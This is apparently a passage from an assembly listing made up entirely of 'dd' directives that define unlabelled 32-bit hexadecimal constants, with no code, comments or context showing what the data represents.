		dd 8C6F12Bh, 3E50D720h,	3374FFBFh, 7D90DB8Fh, 0DAF091Fh
		dd 0E24A2107h, 0B8596141h, 891E098h, 0C1CD9001h, 55E1E0F3h
		dd 2C41A88Ch, 28D81A0h,	903D0FFEh, 605FF38h, 1B013823h
		dd 9E31901Dh, 0D6607814h, 0FDF28441h, 0F780208Ch, 0C63E9C0h
		dd 0E0E3F920h, 0F8EBD781h, 0E81133E1h, 0A80CEE40h, 0E8C4B261h
		dd 0A8C5664Ch, 0E7F0A091h, 4B88A0ADh, 0C61FE367h, 8E98931h
		dd 808C0421h, 0A1606441h, 2CA50E2Bh, 4755F84Ch,	36960080h
		dd 5E8A6ACh, 0EE08E86Eh, 0A8A71E2Ah, 0F18540EEh, 2811B965h
		dd 33C7DA00h, 40B0CAFEh, 11BF6037h, 0A48265EBh,	28084A06h
		dd 46403C76h, 0CDC080E8h, 0C4B5BD22h, 4B25630h,	4B3CF568h
		dd 87EC9F08h, 29B61DB0h, 2952D850h, 0E5975803h,	75F62821h
		dd 1C20A771h, 43428C52h, 1E8AD631h, 3F640C68h, 3631E75Bh
		dd 0B0503D53h, 3319AAC6h, 96E03F52h, 18887DF5h,	0BA66C820h
		dd 0F4096020h, 26F33C3Ch, 8383403h, 60A7DC72h, 6567AA13h
		dd 0C953100h, 807E2FA8h, 36D0FCDh, 0A0026D7h, 0D3445249h
		dd 3D0ED200h, 616C1E6Fh, 0BC500116h, 39A209C6h,	0D3C0CEA9h
		dd 2900BD77h, 62B5EB41h, 3AF44F78h, 0DA007257h,	6A4CD36Fh
		dd 5E0077BDh, 0BEE264E5h, 96FD2Eh, 7B8BC185h, 0F3653175h
		dd 61A5B90Eh, 4F2EE0EBh, 75023C4h, 35CD3E91h, 97A31F52h
		dd 0A2D07A60h, 3A000A8Eh, 100448ACh, 5B0235Dh, 0E02DB112h
		dd 901818C6h, 6900BC8Eh, 76BE21ABh, 7B34293Eh, 912C0C99h
		dd 0AE8082ADh, 0AF044E09h, 45D0A035h, 0F0C0A519h, 0D4F217h
		dd 643E5518h, 0B98FDE3Bh, 1E675C06h, 0A0D19124h, 471495h
		dd 5076CACEh, 0C0BB7F9Eh, 0F5678E01h, 0D78FBEC2h, 0B94C4Ch
		dd 34361959h, 8EC56A3Fh, 0CC0172F2h, 9AC22848h,	8D70D891h
		dd 0F0150175h, 1474B635h, 8FA05265h, 29876090h,	0C789F201h
		dd 0CFA14CCDh, 5DA08882h, 89843199h, 0A158164h,	8C98D2FDh
		dd 0D31856B1h, 4E7034E6h, 1F7FFE3Dh, 8022F66Fh,	9244BB9Bh
		dd 650A5EEBh, 0DC4CBCB0h, 0F91B0E00h, 0B00B1AC7h, 689400D7h
		dd 0D0A83510h, 0F03539Ah, 0F7A020DDh, 4F69A83Ah, 43880083h
		dd 417274A2h, 0FCA8A1A8h, 0DA2A51E3h, 3D039C86h, 0DE604D4Ah
		dd 0B5210074h, 46EDC8E7h, 1877C416h, 7600AEB0h,	0BA7B0C7Eh
		dd 2EB46Ch, 410A5DAEh, 0D2E3E044h, 0C8BE8E02h, 4B1D305Ch
		dd 0D0D78834h, 0C5B53CC0h, 4500C4D2h, 0BD787AB0h, 9A00CCCAh
		dd 85720B16h, 15174682h, 34698475h, 0E561BEC0h,	0BC6076B3h
		dd 57F1AA19h, 0F58C02FCh, 77BA6A70h, 413DDCA0h,	0D5061D4Dh
		dd 64535976h, 0E0E812A8h, 0E9423C9h, 2C909124h,	6BA39C41h
		dd 7848E0C6h, 0A2811EFEh, 887B4549h, 53C020FCh,	0A51F4277h
		dd 0CC54E751h, 9BC100E8h, 0B6122089h, 5C0100BDh, 0E8EB787Ch
		dd 6C02AB13h, 1EC3155Eh, 0F846C3E7h, 60127D97h,	963CF094h
		dd 15002F06h, 0FCA6E27Ah, 0C65079Fh, 0AE61B7F5h, 0AB022FD1h
		dd 3E8BB55Ch, 5A374060h, 5DA7A2Dh, 71930E34h, 1CACC387h
		dd 48D9B4F9h, 442489A0h, 235800ADh, 26FA00B2h, 0B5578573h
		dd 0C0002AD0h, 5109B8E4h, 60DBEABEh, 0E183A087h, 9CA064B2h
		dd 1A064C0Eh, 0A30CF539h, 0FD7000E2h, 7BECD215h, 0BB602E61h
		dd 0C958D660h, 64730E4Ch, 0FF4321F5h, 1DF2BD2Bh, 0D055B880h
		dd 8E005D93h, 8515F1D7h, 28BC8FE6h, 4832B91h, 0FB93C367h
		dd 0A218C1A6h, 0F9702070h, 7B0E5D1Ch, 75B7BA83h, 41C6D276h
		dd 0D3B89Dh, 0C54431A0h, 9DEB495Dh, 3C237500h, 0A1D1B24Eh
		dd 0A62200A4h, 4215E878h, 1C02FED7h, 73B40AF1h,	3084419Fh
		dd 524D94C0h, 0E400B457h, 6424D649h, 6907A238h,	0C65A45C9h
		dd 1BE31DF0h, 7304081Eh, 6E806D19h, 32654048h, 0A9F0641h
		dd 4AC95FD8h, 0E08C8C51h, 0B80C155Ah, 0B84B2F6Bh, 0DDE11302h
		dd 532840F1h, 89B39966h, 2A6BED4Ch, 21EFE4F2h, 3836C458h
		dd 30F587Fh, 80287D9Ah,	1F569398h, 0B9E204AAh, 908C6ABEh
		dd 0F49D99A8h, 0E297D00h, 0F015C22h, 0EE49005Fh, 1BDCCAFCh
		dd 9D008FC0h, 0BF964DA1h, 987A1F43h, 8CAA06h, 0F464F9F4h
		dd 40484DC4h, 4E423604h, 0D2AD8418h, 0D4E03430h, 41609CEEh
		dd 19A3A0D0h, 314B091h,	36118187h, 319660B1h, 0D42B9802h
		dd 604B14E2h, 1F4DA488h, 0C0A7DF38h, 0A5BACA3Bh, 8A056832h
		dd 0D45DA7Dh, 13A88010h, 5840D1E4h, 1686421Ah, 6F82A72h
		dd 47F0C0h, 7F32931Ch, 10F2FD8h, 51E0EF00h, 0A55DB89Fh
		dd 7E091CFh, 407CACEEh,	5E399396h, 2762FA17h, 0D5B55203h
		dd 0C9E1C067h, 60F33E49h, 0EF1A3980h, 5B320664h, 0FC09C499h
		dd 0C4902FF0h, 0C8C05ECEh, 477B99h, 9807A3F4h, 0E9EB3919h
		dd 793FAA02h, 0A012B7A8h, 6186E4C4h, 0E1F007Ah,	927E805Dh
		dd 0A7507F82h, 0C0B0B29Ch, 29848621h, 0A6208570h, 95A400D4h
		dd 3C84C451h, 1B00FB90h, 9E385732h, 191F1845h, 0F19DB4C5h
		dd 821C30C7h, 0AE715502h, 4ACBA8BAh, 286C28h, 0A290B9D2h
		dd 9FEFA642h, 35374A2Eh, 7E0C4028h, 0F11821BBh,	51E61227h
		dd 0C3BC24B3h, 701EC4A8h, 64A45F85h, 200FB12h, 76CB22A3h
		dd 0D10206C5h, 10230C59h, 0F5B92A09h, 43A898DFh, 9A6E2CA6h
		dd 1F8CA928h, 9B00BB71h, 5A192074h, 20A4300Ch, 4B8A171h
		dd 3D18BF00h, 2345B574h, 787F4C86h, 2CB5F1Fh, 0B0C38381h
		dd 987A18E8h, 0CF24EA10h, 2382B207h, 3DA153EEh,	1A1F3FD8h
		dd 0BEB47950h, 10C05Ch,	0B6E2524Dh, 13F54EA5h, 40FC35D1h
		dd 0D3B064DCh, 5A02964Bh, 56B2CDF9h, 0EFBCA0BBh, 0D2ADB534h
		dd 0EC8000A0h, 84B8D8FCh, 546A3A26h, 0EA8E3681h, 0F07E598Fh
		dd 437E5F76h, 776CB200h, 8BC7F566h, 8E051DC1h, 696D4CA9h
		dd 0F981E98h, 0BA29D378h, 1808BCD1h, 88E815F1h,	40EAA91Eh
		dd 0CA4A02B1h, 9C98652Dh, 0C6019809h, 534420AFh, 0FA52C84h
		dd 4B32836Dh, 80B2DD5Fh, 143AF12Ah, 5216EC7Ah, 90228EBCh
		dd 91C16023h, 0F97858A2h, 0DC49EC00h, 646D0DD7h, 0E405F092h
		dd 8EF4F82Fh, 0D0A94CBh, 28B309h, 80C42DEAh, 74008D9Ah
		dd 3D301064h, 752F8FE3h, 0F3D540EEh, 4AE99519h,	46E48089h
		dd 496F0027h, 5430B739h
		dd 0D1008C77h, 9D4B50CCh, 32D6748h, 0A1EAC495h,	788023E5h
		dd 0DFA0A226h, 7C0259EDh, 316A4775h, 20A0A9C3h,	0F2D39F90h
		dd 83BCB164h, 7E3E7B80h, 0A0526BAAh, 84A0F4A0h,	452C580Bh
		dd 762490EDh, 89502C28h, 2BBA8EB0h, 3420E929h, 868779A2h
		dd 21A4AD30h, 0E8F96B4h, 2226D13h, 457C40F2h, 9B78C4D2h
		dd 0BC017C71h, 168FC521h, 4893FD50h, 0D9204E07h, 412327CEh
		dd 0D0054DBBh, 0B2AFB694h, 51E1F88Dh, 9C51A0h, 21DD69CFh
		dd 0D1B1FEF0h, 7C479216h, 470B220Fh, 0F3A0A857h, 0B9C63A0Fh
		dd 0C49014D4h, 4B98AB0h, 66606D60h, 5CB5F8FAh, 0D3A42Dh
		dd 0AD28DBECh, 64738E81h, 62C70491h, 16AA032Eh,	0DAD800D0h
		dd 0E80E81FAh, 8CC077ECh, 4540CBC1h, 649900B0h,	60BB62Eh
		dd 821DC7E0h, 0A181BEB7h, 57B4E765h, 17B58834h,	123A243Fh
		dd 746C20DEh, 8803C314h, 70EC1225h, 28F3F954h, 3BFD6070h
		dd 0E500513Ch, 3310A987h, 0C874319Fh, 0AC19F1C0h, 9464A853h
		dd 702101C0h, 941D8DE1h, 28BB9371h, 0C9810B3h, 0B75DA504h
		dd 4C94B28h, 1857DC60h,	3953A79Bh, 0C4196179h, 64B1B605h
		dd 0A876A031h, 8381545Ch, 25846589h, 0B5C3D024h, 858D6200h
		dd 9D54247Fh, 4A6571F9h, 0A3184002h, 0DE090E35h, 71547C0Fh
		dd 33D583A9h, 2ACBF02Ch, 8B36099Bh, 7F0A3492h, 0C2196280h
		dd 29C8F068h, 8434BD2Ah, 0E59ED407h, 88DB68C7h,	0D571E848h
		dd 4B5E9BE4h, 2A4C401Dh, 680D0834h, 1BAE8100h, 1644E2B0h
		dd 9A9C00EBh, 0CF5D95A9h, 0E5005C20h, 8D379825h, 1614F83Ah
		dd 40CAB389h, 7DDDD97Ch, 0C402EC78h, 6231DF63h,	5A0642Ch
		dd 96EE171Fh, 0AD488011h, 2D49AACDh, 0BC7338F0h, 2B798094h
		dd 63BEE64Dh, 9CD4B962h, 0C5D5C032h, 669EC0CBh,	389D353Eh
		dd 0D0E20008h, 7AF00290h, 0B4820E75h, 70403CC2h, 141CD8FEh
		dd 43258B04h, 0A4D0B987h, 0A5A1A69Fh, 1BD6808Ch, 0C72E5A4Ah
		dd 0F2B0B01h, 0D54B330Eh, 703470h, 78F0A355h, 0EA02255Ah
		dd 6702A09Ah, 0AD7B9A81h, 76044840h, 0ED0E017Dh, 0FE3A9D0h
		dd 0EA42D93h, 257ADEE8h, 0FCC1D48Fh, 42056EAh, 4510021h
		dd 856831D8h, 0A660DE89h, 0D42EDB56h, 8FCA1C6Fh, 610CA629h
		dd 0F46E8ABCh, 4D092D19h, 0B887932Bh, 505EE2C4h, 5F0DD57h
		dd 0A7C85539h, 2B59C0F7h, 0B02625B1h, 8F087085h, 0AC06B78Ah
		dd 5116AF11h, 340038A3h, 49A80B1Ch, 97BD000Ch, 0A4632B8Eh
		dd 0A500FCEAh, 5C853B67h, 4976B3DCh, 0B1B48C86h, 31E4006Ch
		dd 67009719h, 2CBBC69h,	0F0F5E4h, 45911763h, 0F9391332h
		dd 3CE668C0h, 13A7FDAh,	0FF4875E7h, 0E4224041h,	5948AA0Fh
		dd 0F3650F60h, 2B16A02Fh, 901C7B32h, 794C7838h,	0AE051EC4h
		dd 0D5C09C7h, 0E70A50C8h, 0E1FCB054h, 0C471DB00h, 13468C03h
		dd 271C9CF6h, 0B407240Bh, 24013176h, 0EC9CAAE6h, 0F92EB100h
		dd 0A0D55C0Dh, 20B0D229h, 0BA2B8F2Ch, 0B595BF00h, 0A43118BDh
		dd 47540729h, 0CF689B82h, 0C69A3B21h, 96D443F8h, 200EC2F9h
		dd 66053AC4h, 0C9AB6187h, 2FF8900h, 4E12E55Bh, 92C043Bh
		dd 4894E02Dh, 13015803h, 0A081BBA4h, 1CD2B9EFh,	0CA412D3Eh
		dd 0E46553h, 8CAE47D5h,	5818F6D6h, 91E06F19h, 41A000F3h
		dd 8EC8DFD9h, 3800522Fh, 0FDD22372h, 50543D55h,	490EBh
		dd 0E99FE6F9h, 79926DCDh, 9420AD41h, 25080015h,	1E27A377h
		dd 7F04D95Fh, 8A8610A6h, 2E0954C8h, 12ACB653h, 96B8908Eh
		dd 36B09534h, 0E2EECC12h, 0A51AA440h, 6F54C2C5h, 0F0C39852h
		dd 0B6918049h, 0E9BBF97Fh, 6343F4F9h, 4A02ACB8h, 0BA2F594Bh
		dd 0D95813B2h, 458AE048h, 59CD000Ah, 5AA6DA55h,	1600221Fh
		dd 7AC7D20Bh, 962926BBh, 2EB868A0h, 0B894A2E8h,	50A301E8h
		dd 0AAFB1C72h, 0DE7450D1h, 340F13BBh, 604B921Eh, 53BC8E93h
		dd 657A00EDh, 62191B7Eh, 0FE609B9Ah, 56D933A6h,	116D0FC4h
		dd 0C62301D4h, 6AF8E8E4h, 0B9E6ABBDh, 3EBCF600h
		dd 0CC204D14h, 734B7EB0h, 0D344043Bh, 0C033E461h, 0FA03817Fh
		dd 8857BD24h, 1E739000h, 6FE363h, 3D46FD23h, 0D4D2A939h
		dd 0B512247Ch, 0EC00FCBCh, 13C60DD6h, 6C24FB95h, 6F809D3h
		dd 0D40359BAh, 0B38752DBh, 4BD89DB3h, 0C5004629h, 3092C2BEh
		dd 242FCAD3h, 12348CAFh, 987C0E2Ah, 4CF2CBA0h, 0D0A8528h
		dd 9CEE0C29h, 90103A01h, 0AC3843D0h, 4AF12501h,	0DCDBB149h
		dd 1602CFC0h, 0A819CAE6h, 0A6D06782h, 3878005Ch, 0F4FF1D88h
		dd 0B959B537h, 8243FE31h, 0A85FCCh, 3FCE0594h, 0B5842D89h
		dd 42055590h, 0DA660E21h, 0CC2C38A1h, 9F2A4800h, 0A7390D68h
		dd 90FD6727h, 55582B0h,	0BEBAD935h, 0D47CD005h,	44185C7Dh
		dd 7F99B5B9h, 0C72F04C1h, 97187E39h, 0BD7A0178h, 236C248Dh
		dd 1D986F00h, 3E781638h, 6575245Ch, 0AB2B00F8h,	0AF4DF2A9h
		dd 2E9DD904h, 8C80F6AAh, 0A0AE45C0h, 5CAC54h, 0FFA5D5B5h
		dd 8A1AE920h, 97048470h, 52AB46C7h, 7FB01380h, 0F2193099h
		dd 0C7940179h, 49305091h, 0B5BDADh, 0F459D8E4h,	885781E7h
		dd 5CD29502h, 5ACBA91Fh, 0F24122Ch, 0AF9CC0D1h,	7C00B112h
		dd 3C42E763h, 0A183551Eh, 1062A9ACh, 167BE40Eh,	0FFD9BAC2h
		dd 8983F0D9h, 4C6C62A2h, 0A8020C31h, 8FB674CBh,	0B6984052h
		dd 8E925000h, 0C14B2F07h, 40FC001Fh, 6004E044h,	510FDD30h
		dd 817AD294h, 0A61FEE2h, 147D074h, 9038E59Ch, 0CEC25827h
		dd 7125FC48h, 0D133F430h, 29B144B2h, 0E0B0E504h, 0A5B09096h
		dd 18438700h, 0B5400961h, 8F10357h, 681BD4B8h, 34D05DDAh
		dd 747D3415h, 522213B4h, 0CDF38CD0h, 0AC9212BCh, 11744F27h
		dd 0E9AAE580h, 4CE3D65Dh, 0D01C42C8h, 0B8242217h, 0AA409027h
		dd 0C3BCA89Dh, 18E5040Eh, 0C3A93FFEh, 0B3A5E0DCh, 0C480644h
		dd 1611FB35h, 0D38E4733h, 5BE0B524h, 2D2A6D9Ah,	9904C88Ah
		dd 0AC4F8066h, 95400480h, 0A7CB2A30h, 2C514CC8h, 9B78C500h
		dd 3AAA42A2h, 0BC93960h, 28975C9Eh, 0B48F91h, 7C2B4796h
		dd 37EBD44h, 28781434h,	45C20AC0h, 0B2AE2F83h, 0F3551001h
		dd 40F0FDC0h, 0CA53B198h, 3188BB00h, 76CB14EEh,	3CF707EDh
		dd 0C1954F83h, 715EE617h, 0B9918220h, 5A7B9F59h, 18289090h
		dd 1CAD3D1Ch, 6F00E098h, 0EC79DAC2h, 9480A833h,	392058Ch
		dd 7DF40006h, 1239949Eh, 0FAAA2F1Eh, 4C13D60Fh,	0C628B2h
		dd 0C48786E5h, 53BFF3A1h, 8C9AA00h, 0FE2E0ACFh,	6A3800C5h
		dd 4D12C033h, 2700E725h, 0CB99C21Ch, 4E86EDh, 0B5B874E2h
		dd 0BD1A8E7Eh, 0F8C4E01Ch, 4A7197C3h, 0B04EB5BFh, 93CF65E2h
		dd 8638C105h, 0E7DD9040h, 0B6213491h, 0E6500104h, 74011EB4h
		dd 42045A44h, 916C4329h, 6C8FA082h, 8DF806A4h, 108314F6h
		dd 0AE07440Fh, 0E13F031Dh, 9F601C81h, 573980C9h, 8F662212h
		dd 79975D03h, 814EE4D0h, 0D8DC2193h, 30A86164h,	207894FDh
		dd 0B2F270B4h, 506AAA24h, 79E9B880h, 0C046434Bh, 0B740FE81h
		dd 9778EB95h, 0BB052300h, 7F8A4F79h, 58A8B019h,	6400488Fh
		dd 53E5C85Bh, 6C3FE99Dh, 5C0C3A30h, 0C9FF3D3Fh,	92540A50h
		dd 0F1607085h, 0F2E8C8h, 48208DDBh, 5B18D406h, 4C38B100h
		dd 5C2E0CECh, 4AFC7CE9h, 0E23C0094h, 83FDAAC7h,	0C464B604h
		dd 0FCC09524h, 1576E46h, 517727EFh, 2D834F6Ah, 1B4B0230h
		dd 8048A6A0h, 0F05188F3h, 0EC48B828h, 0AC214C2Dh, 8A5AA580h
		dd 0F312C9CDh, 0B854EBFBh, 80063950h, 6A76B44Ch, 2C226Ch
		dd 923D9013h, 54776997h, 0D623A016h, 90E48834h,	0CE8409C4h
		dd 901DA22h, 3CAC49FFh,	168F393Ch, 7441E235h, 77887E41h
		dd 9371A1FCh, 60902714h, 6C002B8Eh, 380F57DDh, 7C41847h
		dd 41440367h, 96FD0273h, 0B1A1880h, 0E20787CCh,	4E3C460Ch
		dd 8928AE92h, 4CACC6DCh, 0FADBAC57h, 0ED49E7E0h, 852D609h
		dd 0F240A0A0h, 0A81D6B63h, 0FC0222ACh, 4D7700Fh, 0B9E12306h
		dd 28B684h, 0D5075542h,	1C0E675h, 63D27EF6h, 602714DCh
		dd 995480C4h, 9F486984h, 3D9800A9h, 0FAB68271h,	6A440012h
		dd 0FE2A7D02h, 56739D77h, 1D05C13Fh, 15C60759h,	1C40A56Dh
		dd 0C14E2EECh, 0E90801Eh, 688FEDA0h, 0E0398F6Ch, 0FE11955Ah
		dd 5D3D00F9h, 3C0CEDE1h, 51076CB6h, 0E87EB32Ch,	8C80FDC4h
		dd 0E2D0D88Eh, 3D68019Ah, 83994463h, 80303815h,	3626F464h
		dd 654E643h, 0C20304F1h, 0C400414Ah, 5C90F90Bh,	285CD11h
		dd 17E71D87h, 7CE78F58h, 731FC502h, 0A451ACh, 0DFAD2013h
		dd 10038A85h, 4487FBDCh, 94201DAFh, 0EECF9E68h,	0EB4101E4h
		dd 2E1AB338h, 392E4800h, 3CF30F6Ah, 0C9016FCFh,	0B7A52767h
		dd 5C6822F7h, 6AE18010h, 0BCADDD36h, 0A7A68090h, 1F5E7ADBh
		dd 0F5650502h, 48471ABBh, 492EE410h, 9E01E8BDh,	0D45C0645h
		dd 0B8F6100Eh, 1C90A7h,	9DB15E1h, 67E36C9Ah, 0E0DEF4A8h
		dd 98921490h, 9B00BCBAh, 0A9358893h, 0EC82C0DCh, 37632D69h
		dd 77173C01h, 85A07BB2h, 0E2709Dh, 8DA6610Eh, 34AC8D4h
		dd 0CAAF4100h, 0A2E7D4Fh, 3EDD00A1h, 87A936Ah, 1E00B0DEh
		dd 0CC748886h, 60015Dh,	0B4EE25C6h, 5A3CD2D8h, 0B51D9700h
		dd 99401927h, 74670365h, 7EDB8129h, 387780D4h, 0DD01A0F4h
		dd 0CB24EBD4h, 4082EDB9h, 0CDFE279Eh, 3F83C0D7h, 6B5F01DAh
		dd 728E73DCh, 0B2E2CC40h, 0B49D161Eh, 0ED3595C0h, 0B76213B3h
		dd 541F0EC0h, 0E6098E03h, 0C9A9D42Ah, 0ECD09F6Ch, 0D1CD0061h
		dd 0D6EEDDD0h, 0EF149DC8h, 3C90DEh, 5C5D1806h, 3517FEAh
		dd 4A1033C8h, 90B1FFE0h, 80CFC819h, 288C7D32h, 80788953h
		dd 0B97CED8Ch, 0E26200D6h, 390CB3A1h, 9CA89F98h, 0F700BFABh
		dd 0A9B83628h, 0AFD09Bh, 29786574h, 12750651h, 8DB49600h
		dd 7AA46C09h, 0F1F260h,	0D5ABCFB3h, 0E60D06E5h,	9F00BD76h
		dd 0E87DF818h, 0A47B5C4Dh, 7C5F0054h, 0A52BAF37h, 0B0E3FA4h
		dd 60B94DB0h, 8B13FE94h, 3BE2005Dh, 0C6467744h,	0B500247Ch
		dd 50C0390Bh, 5123BEh, 106D9B67h, 3B82706h, 159F4A18h
		dd 0EC5B3F1h, 3D2DBD60h, 44D3E438h, 8FF4E838h, 0CF3161CAh
		dd 3F5E4056h, 29B2BF3Bh, 80B0EB45h, 636D2934h, 0F9007812h
		dd 0EAB36850h, 3D87A493h, 28008BEEh, 33715C6Ch,	1300D84Fh
		dd 0BBD6B72h, 0AA891D2h, 4C7DE6A2h, 9C8406F0h, 948861B4h
		dd 383A0D27h, 0E8F180D2h, 0AC43A68Bh, 6994029Ah, 7FB4495Dh
		dd 0DB08BD60h, 20C20D2Eh, 0D4894300h, 713471Ch,	0A9DFE28h
		dd 22107042h, 0F907F5E1h, 7BDA1B97h, 0D480A445h, 4C3B071Fh
		dd 6107A192h, 79B09B28h, 0A043618Eh, 0E838681Bh, 0A84D3096h
		dd 30C8EDF1h, 6F18B2CCh, 3D1F4416h, 0E0B00760h,	1D24C6h
		dd 1B3AE25Ah, 410C21FFh, 97E88954h, 37103C01h, 0A1D27867h
		dd 1BDD4C8h, 0C9432EB0h, 7B2793B6h, 0AB7A1AB0h,	0B04D8B84h
		dd 0E2A3D40h, 92271576h, 34A8E080h, 830090FEh, 0E5899E8Eh
		dd 0F1302A28h, 0B7BEA080h, 0D4B203D1h, 0FC753702h, 0E04BE9F2h
		dd 0C49DBBFDh, 0C23495E1h, 8E0403Bh, 5E12ED99h,	7C40C274h
		dd 10B31AD2h, 0F6B12FEh, 0D018004Eh, 7A97E384h,	0D4AA1E00h
		dd 0FB99C52Eh, 0D62A3A74h, 0E8F254F6h, 0EC1512F7h, 902C4079h
		dd 0DB7EEEFFh, 0B9280804h, 7480C910h, 0FAC4E8h,	99FCEB05h
		dd 0AA7DA282h, 0FB7C6900h, 0B7E01F4Eh, 408B3862h, 6595A080h
		dd 0F62AA5F0h, 10EB48h,	0E783C654h, 4C44BFD3h, 0C1334C68h
		dd 7FBBADC1h, 307D1AD9h
		dd 4058BB8h, 6C539E9h, 1FEAAC0h, 8C9A4Dh, 3CF8157Ch, 9AEC40A7h
		dd 1583048h, 0BE6A6F14h, 8BE8C70Ch, 782501F0h, 673B161Ah
		dd 0A6E0F8F2h, 0CD854900h, 230D2CC8h, 2612FC7Eh, 58603116h
		dd 5A00FCC0h, 3EC1A8D5h, 0D0DE7Ch, 75559FB7h, 0FF8ECC43h
		dd 2236C38h, 784F8B18h,	89A04B2Bh, 0C9C55437h, 0B0BCBCDDh
		dd 6736ED01h, 34A28C7Eh, 0C07B08BCh, 8E568D13h,	0B5F5FC00h
		dd 7F3B46E1h, 0DDDCFB42h, 0DC929Dh, 0B3B9756Ch,	0A1A79A96h
		dd 4C26E124h, 0EE8B9B01h, 1ED00623h, 0EA930178h, 0B9297DFFh
		dd 60C850BAh, 0B7F2D7Eh, 868FC61h, 0EBEFE8DAh, 3423A04Ch
		dd 4449031h, 0D5A7D68Fh, 0C0E8C499h, 33119848h,	5401A49h
		dd 3BC8029h, 7E44888h, 2A2D31AEh, 0F7CA008Dh, 5248E559h
		dd 49D84260h, 0CB4A01E0h, 0C96D2E8Eh, 510AF0h, 0E52FBB9h
		dd 0D6E4DA3Ch, 0E61EB51Eh, 0D4CCA581h, 8609033h, 9227FE4Bh
		dd 20470310h, 9E118B75h, 0B2289CA0h, 98C91D2Ch,	99868B6h
		dd 0A022E5DAh, 8D06BF80h, 34904AEDh, 49C93Ch, 0DA4DB6E6h
		dd 799CF2h, 0CF32426Ch,	815D2AF6h, 0E79858E1h, 0A006DFAh
		dd 0F45F8C9h, 7BB0Eh, 70085BD1h, 50B6CA3h, 0CA4C447Ah
		dd 0E5D907AAh, 0AC30EA1Bh, 2A7FD7E1h, 84C801h, 12168C29h
		dd 69E7642Fh, 0B460F0A2h, 0D800E64Ah, 0FDA417EFh, 3945D1h
		dd 161F0FF2h, 376F4B47h, 0FB68DE01h, 3830AE2Ch,	9EAD024h
		dd 0C7A25901h, 0D35285h, 8D94C490h, 0A60049CBh,	0EBC821Ah
		dd 9D8B59h, 0F3725C6Bh,	3FFAA40Ch, 0C1F4284Ch, 5B354283h
		dd 123F6E0h, 7855DB49h,	0D4D91B59h, 2C007602h, 706E0E71h
		dd 0F6E04231h, 129CB088h, 29E3851Ah, 14143130h,	317C00B8h
		dd 0D4572C1Ch, 13CF5340h, 44F39907h, 88B8E43Ch,	90004354h
		dd 3B6EDBFEh, 35F3D3h, 0D1F914C4h, 0F7A312EBh, 169D50B3h
		dd 0E9D6441h, 7273C9h, 2890A500h, 72F1B54Ah, 83096F09h
		dd 578CA0F5h, 3A75AFh, 15DE9063h, 80A612F6h, 0A7DC0800h
		dd 579368C9h, 8174C50h,	44825848h, 0BC873E8Ch, 245AB15Ch
		dd 38820AAh, 73DB201Fh,	9416AC47h, 0A5FE5F11h, 2EEDE470h
		dd 0A8E0603Ch, 0A09258D4h, 3FACC703h, 86A84CBCh, 4004B82h
		dd 3D5D4503h, 0C35E72h,	5B672D1Eh, 826612E2h, 9DEF0801h
		dd 0B29B1356h, 64629AF9h, 0EDF13C14h, 0A6DF7002h, 60E0CE4Ah
		dd 0D400FDCBh, 0E7BA6552h, 72B2B588h, 5D497C54h, 28796C7Bh
		dd 324ACDAh, 73F744BDh,	75C9C699h, 0DB9D0004h, 0AC503CCBh
		dd 4A38B292h, 80842AE4h, 27B7540Bh, 0A818775Dh,	0F7190E9Ah
		dd 0A4F91770h, 5834012Bh, 0F9939C99h, 1CDC35B5h, 609A6888h
		dd 323B6901h, 0F73E4186h, 85005472h, 891633E6h,	757312B7h
		dd 4EC12B00h, 0BEF5A110h, 1A91281h, 780905Eh, 5C014818h
		dd 5F572D75h, 49C208F8h, 10323CFCh, 5EEB3D1Dh, 0A8688018h
		dd 4A0CA3F3h, 0C9F88E3Eh, 311D0420h, 0C8A150B7h, 30072432h
		dd 32872089h, 7CE52C96h, 0DF02142Ah, 0E6919AE8h, 3488A0F5h
		dd 2194E8Ch, 0FD1C6BCDh, 0BCC02B4Fh, 7F005E28h,	7756291Eh
		dd 0D908FA5h, 45C34A7Eh, 7C241C79h, 3F026B18h, 4851310h
		dd 7AC0A445h, 0ACBC90CEh, 310095E2h, 0E0A194C5h, 3BC61EEDh
		dd 0C7842912h, 938E04AEh, 46C1E45Ch, 8B1C34ACh,	0C1215F07h
		dd 0A0898DE3h, 315AE30h, 9D5912C8h, 0A51870EDh,	3C0BB175h
		dd 2C76107h, 808F5C8Ch,	0F49D49B0h, 0AC9501ABh,	0D17EEDEEh
		dd 0B9E850A8h, 710C7D87h, 89255715h, 685E1C4Eh,	3896D31Ah
		dd 59146008h, 1DC0E3Ah,	0D0ADE8D7h, 7828E7C6h, 7C4C8F03h
		dd 4880FDC8h, 6E39949Ah, 2A4F807Eh, 0E1CDCCB0h,	1E2CAD99h
		dd 0E7A90678h, 0B9F691A0h, 0DC645A05h, 60137240h, 0DE638800h
		dd 14F7437h, 33BD12A3h,	30262A6Eh, 7E0A027Ah, 0A8310A71h
		dd 8A3F2E84h, 688320A1h, 6351E3F2h, 57DFB1F0h, 6F5E2314h
		dd 0CDC9B084h, 24095276h, 8877D400h, 53AAFAB9h,	0AE64E405h
		dd 0C4003C4Bh, 8CCCE267h, 0C8C5001Fh, 0E69FC668h, 0CF7DCA4Eh
		dd 256D5D1Ch, 77D280FAh, 0FD32F36Bh, 8C0E586Eh,	9AE360Fh
		dd 0F78358C7h, 0D005398Ah, 2288BA1h, 86CC15C2h,	730C4055h
		dd 0F068052Bh, 0CCEE3714h, 20007D18h, 9E280E98h, 0B92DEFE3h
		dd 0A32A024Ch, 2C48E095h, 8600A6BFh, 0F128AC20h, 15CAFEBh
		dd 9F4B1C43h, 0D5D7AA10h, 4F5474B9h, 3C3E0426h,	0E5A1358Eh
		dd 0C18E239h, 8BD2B1h, 5DD897BBh, 0DCAAF8E8h, 8B7D302h
		dd 71B62118h, 60482680h, 6A2A10DFh, 6EA57606h, 78F8AF5Ah
		dd 154FEAACh, 0CC7EFDC3h, 0A0DF24h, 7328136Ch, 0ECB88A79h
		dd 0D6ECE200h, 39A0BA30h, 0A440BBC8h, 6E930330h, 56E8D00Bh
		dd 3A16307Dh, 0D8000272h, 0C67591D2h, 6FE0355h,	80504DC4h
		dd 0EAE9C800h, 636214FCh, 0FF880027h, 258D261Dh, 721ACA9Dh
		dd 0C0601E2Bh, 79C1AC17h, 88185809h, 0D9FB7500h, 381BA770h
		dd 37DA5E15h, 3B5D3A78h, 6BFD82B5h, 6B320519h, 1CD01E40h
		dd 0A471C020h, 3A65A79Ah, 2AC35A00h, 54DC047Ah,	9B1E2653h
		dd 2E1D8210h, 0B8E331F5h, 76E027A0h, 0CD25D739h, 0E137000Ch
		dd 0D24FEE57h, 608F4C5Bh, 520F1CB8h, 0A796C473h, 0DF45D4E3h
